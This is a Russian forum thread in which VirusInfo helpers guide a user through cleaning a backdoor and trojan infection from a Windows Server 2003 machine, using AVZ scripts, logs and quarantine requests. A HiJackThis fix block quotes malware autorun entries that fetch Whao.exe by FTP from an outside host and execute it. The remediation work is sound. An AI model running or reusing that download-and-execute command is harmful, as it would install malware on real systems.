Windows server 2003 не работают сетевые службы [Trojan-GameThief.Win32.Magania.hliu, Backdoor.Win32.Agent.ckvt ]

На Windows Server 2003 R2 перестали работать большинство служб, в списке служб пусто. сервер пингуется, но доступа к нему нет. в процессах только один svchost который грузит ЦП на ~50%, было заражение которые AVG определял как BackDoor.Generic15.BAWF.dropper, BackDoor.Generic_r.AHO, BackDoor.Generic14.CCPI, Agent_r.BGD, также при этом в задачах SQL agent появлялись назначенные задания по скачиванию этих зараженных файлов. работать перестало после удаления всех этих файлов и последующей внеплановой перезагрузке компьютера (выключили электричество).

Уважаемый(ая) [B]Ishi[/B], спасибо за обращение на наш форум!

Удаление вирусов - абсолютно бесплатная услуга на VirusInfo.Info. Хелперы, в самое ближайшее время, ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитами АВЗ и HiJackThis, подробнее можно прочитать в [URL="http://virusinfo.info/pravila.html"]правилах оформления запроса о помощи[/URL].

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста [URL="http://virusinfo.info/content.php?r=113-virusinfo.info-donate"]поддержите проект[/URL].

Выполните скрипт в AVZ
[code]begin
ShowMessage('Внимание! Перед выполнением скрипта AVZ автоматически закроет все сетевые подключения.' + #13#10 + 'После перезагрузки компьютера подключения к сети будут восстановлены в автоматическом режиме.');
ExecuteFile('net.exe', 'stop tcpip /y', 0, 15000, true);
if not IsWOW64
then
begin
SearchRootkit(true, true);
SetAVZGuardStatus(True);
end;
QuarantineFile('D:\LamygoCD.txt','');
QuarantineFile('crss.vbs','');
QuarantineFile('crypt32.dll','');
QuarantineFile('c:\windows\system32\dllcache\cmd.exe','');
QuarantineFile('C:\windows\temp2561700.dll','');
QuarantineFile('C:\WINDOWS\system32\-1959882527.dll','');
QuarantineFile('C:\WINDOWS\XXXXXX579E5A5B VVVVVVrr2unw==\svchsot.exe','');
QuarantineFile('C:\WINDOWS\XXXXXX4CD964AD\svchsot.exe','');
QuarantineFile('C:\WINDOWS\Config\svchsot.exe','');
QuarantineFile('C:\WINDOWS\C4038DF3\svchsot.exe','');
QuarantineFile('14.exe','');
QuarantineFile('C:\WINDOWS\system32\DRIVERS\mrxsmb.sys','');
QuarantineFile('C:\WINDOWS\system32\sSbwhqpqot_NET.exe','');
DeleteService('wuansrv');
QuarantineFile('C:\Documents and Settings\All Users\Application Data\lanmao.exe','');
DeleteService('666666666666666666666666666');
QuarantineFile('c:\documents and settings\all users\cfpsqquag...pic','');
DeleteFile('C:\Documents and Settings\All Users\Application Data\lanmao.exe');
DeleteFile('C:\WINDOWS\system32\sSbwhqpqot_NET.exe');
RegKeyParamDel('HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\Bikyet Xspolhrx Mlm\Parameters','ServiceDll');
DeleteFile('14.exe');
RegKeyParamDel('HKEY_LOCAL_MACHINE','Software\Microsoft\Windows\CurrentVersion\Run','sC');
DeleteFile('C:\WINDOWS\C4038DF3\svchsot.exe');
DeleteFile('C:\WINDOWS\Config\svchsot.exe');
RegKeyParamDel('HKEY_LOCAL_MACHINE','Software\Microsoft\Windows\CurrentVersion\Run','Config');
RegKeyParamDel('HKEY_LOCAL_MACHINE','Software\Microsoft\Windows\CurrentVersion\Run','C4038DF3');
DeleteFile('C:\WINDOWS\XXXXXX4CD964AD\svchsot.exe');
DeleteFile('C:\WINDOWS\XXXXXX579E5A5B VVVVVVrr2unw==\svchsot.exe');
RegKeyParamDel('HKEY_LOCAL_MACHINE','Software\Microsoft\Windows\CurrentVersion\Run','XXXXXX579E5A5B VVVVVVrr2unw==');
RegKeyParamDel('HKEY_LOCAL_MACHINE','Software\Microsoft\Windows\CurrentVersion\Run','XXXXXX4CD964AD');
DeleteFile('C:\WINDOWS\system32\-1959882527.dll');
RegKeyParamDel('HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\DirectiX Remover.\Parameters','ServiceDll');
DeleteFile('C:\windows\temp2561700.dll');
RegKeyParamDel('HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\RemoteAccess\RouterManagers\Ip','DLLPath');
DeleteFile('crss.vbs');
RegKeyParamDel('HKEY_LOCAL_MACHINE','Software\Microsoft\Windows\CurrentVersion\Run','crss');BC_ImportAll;
ExecuteSysClean;
BC_Activate;
RebootWindows(true);
end. [/code]Компьютер перезагрузится.

Пришлите карантин согласно [B]Приложения 2[/B] правил по красной ссылке [COLOR="Red"][U][B]Прислать запро-шенный карантин[/B][/U][/COLOR] вверху темы

Сделайте новые логи

новые логи
[ATTACH]373455[/ATTACH]
[ATTACH]373454[/ATTACH]

Что с проблемой?

проблема осталась
изменений нет

Сделайте логи [url="http://virusinfo.info/showthread.php?t=115256"]RSIT[/url]

логи RSIT

Пофиксите в HiJack
[CODE]O4 - HKLM\..\Run: [shll] c:\windows\system32\dllcache\cmd.exe /c @echo open fm3322.s.3322.net>>cmd.txt&echo 123>>cmd.txt&echo xxx>>cmd.txt&echo get Whao.exe>> cmd.txt&echo bye>>cmd.txt&ftp -s:cmd.txt&Whao.exe&Whao.exe&del cmd.txt /q
O4 - HKLM\..\Run: [Ashll] c:\windows\system32\dllcache\cmd.exe /c @echo open fm3322.s.3322.net>>cmd.txt&echo 123>>cmd.txt&echo xxx>>cmd.txt&echo get Whao.exe>> cmd.txt&echo bye>>cmd.txt&ftp -s:cmd.txt&Whao.exe&Whao.exe&del cmd.txt /q[/CODE]

Выполните скрипт в AVZ
[code]begin
RegKeyDel('HKEY_LOCAL_MACHINE','software\microsoft\shared tools\msconfig\startupreg\Alcmtr');
RegKeyDel('HKEY_LOCAL_MACHINE','software\microsoft\shared tools\msconfig\startupreg\Alcomtr');
RegKeyDel('HKEY_LOCAL_MACHINE','software\microsoft\shared tools\msconfig\startupreg\houkcert');
BC_ImportAll;
ExecuteSysClean;
BC_Activate;
RebootWindows(true);
end. [/code]Компьютер перезагрузится.

Эти файлы
[CODE]C:\WINDOWS\system32\net.exe
C:\WINDOWS\system32\scn.exe
C:\WINDOWS\temp1745300.dll
C:\WINDOWS\temp719900.dll
C:\WINDOWS\temp2166900.dll
C:\WINDOWS\temp2120800.dll
C:\WINDOWS\system32\fpp.exe
C:\WINDOWS\system32\servers.exe
C:\WINDOWS\system32\textcopy.exe[/CODE]запакуйте с паролем virus и пришлите по красной ссылке [COLOR="Red"][U][B]Прислать запрошенный карантин[/B][/U][/COLOR] вверху темы

Содержимое этих папок скажите
[CODE]C:\WINDOWS\C4038DF3
C:\WINDOWS\system32\083050
C:\WINDOWS\tt
C:\WINDOWS\system32\052035
C:\WINDOWS\system32\081032
C:\WINDOWS\system32\072850
C:\WINDOWS\bb
C:\WINDOWS\EB7E350E[/CODE]

после перезагрузки проблема сохранилась.
Все перечисленные папки пусты.

[CODE]C:\WINDOWS\system32\scn.exe
C:\WINDOWS\temp1745300.dll
C:\WINDOWS\temp719900.dll
C:\WINDOWS\temp2166900.dll
C:\WINDOWS\temp2120800.dll[/CODE]удаляйте

Пустые папки тоже

Статистика проведенного лечения:
[LIST][*]Получено карантинов: [B]2[/B][*]Обработано файлов: [B]13[/B][*]В ходе лечения обнаружены вредоносные программы:
[LIST=1][*] c:\\documents and settings\\all users\\cfpsqquag...pic - [B]HEUR:Trojan.Win32.Generic[/B] ( DrWEB: Trojan.DownLoader6.40883, BitDefender: Gen:Variant.Graftor.32385 )[*] \\scn.exe - [B]Backdoor.Win32.Agent.ckvt[/B][*] \\temp1745300.dll - [B]Trojan-GameThief.Win32.Magania.hliu[/B] ( BitDefender: Gen:Variant.Graftor.32385 )[*] \\temp2120800.dll - [B]Trojan-GameThief.Win32.Magania.hliu[/B] ( BitDefender: Gen:Variant.Graftor.32385 )[*] \\temp2166900.dll - [B]Trojan-GameThief.Win32.Magania.hliu[/B] ( BitDefender: Gen:Variant.Graftor.32385 )[*] \\temp719900.dll - [B]Trojan-GameThief.Win32.Magania.hliu[/B] ( BitDefender: Gen:Variant.Graftor.32385 )[/LIST][/LIST]

удалил, перезагрузил, проблема осталась.

[COLOR="silver"]- - - Добавлено - - -[/COLOR]

восстановил ОС с диска - проблема исчезла. будет ли полезной провести еще одну проверку с помощью AVZ и hijackthis во избежание пропущеного заражения?